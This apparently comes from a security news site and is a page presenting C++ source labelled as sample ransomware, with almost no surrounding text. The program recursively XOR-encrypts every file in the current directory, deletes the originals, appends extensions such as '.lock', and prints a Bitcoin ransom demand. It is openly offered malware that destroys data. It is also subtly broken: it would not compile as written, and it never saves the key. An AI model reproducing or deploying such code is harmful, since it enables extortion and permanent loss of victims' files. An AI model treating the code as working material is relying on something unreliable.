Sample Ransomware code in C++

Start
// Ransomware code in C++ 

#include <iostream> 
#include <fstream> 
#include <string> 
#include <ctime>
#include <filesystem>

std::string GetRandomFileExtension() 
{ 
    std::string extensions[5] = {".lock", ".crypt", ".encrypt", ".secure", ".securefile"}; 
    return extensions[std::rand() % 5]; 
}

std::string GetEncryptionKey() 
{ 
    // Generate a random encryption key 
    std::string key = ""; 
    const char characters[] = "0123456789ABCDEF"; 
    for (int i = 0; i < 32; i++) 
        key += characters[std::rand() % 16]; 
    return key; 
} 

void EncryptFile(const std::string& fileName, const std::string& encryptionKey) 
{ 
    // Open the file and read the data 
    std::ifstream file(fileName, std::ios::in | std::ios::binary); 
    std::string data((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>()); 
    file.close(); 
    
    // Encrypt the data 
    for (int i = 0; i < data.length(); i++) 
        data[i] ^= encryptionKey[i % encryptionKey.length()]; 
    
    // Write the encrypted data to a new file 
    std::string newFileName = fileName + GetRandomFileExtension(); 
    std::ofstream newFile(newFileName, std::ios::out | std::ios::binary); 
    newFile << data; 
    newFile.close(); 
    
    // Delete the original file 
    std::filesystem::remove(fileName); 
}

int main() 
{ 
    // Seed the random number generator 
    std::srand(time(nullptr)); 
    
    // Generate an encryption key 
    std::string encryptionKey = GetEncryptionKey(); 
    
    // Get a list of files to encrypt 
    std::vector<std::string> files = std::filesystem::recursive_directory_iterator(".");
    
    // Encrypt all of the files 
    for (const std::string& file : files) 
        EncryptFile(file, encryptionKey); 
    
    // Display the ransom message 
    std::cout << "All of your files have been encrypted with a secure encryption algorithm!" << std::endl;
    std::cout << "Send 1 Bitcoin to 1A2B3C4D5E6F7G8H9 to get the decryption key!" << std::endl;
    
    return 0; 
}
Previous Story

How to secure mysql databases from cyber attacks

Next Story

Popular JWT cloud security library patches “remote” code execution hole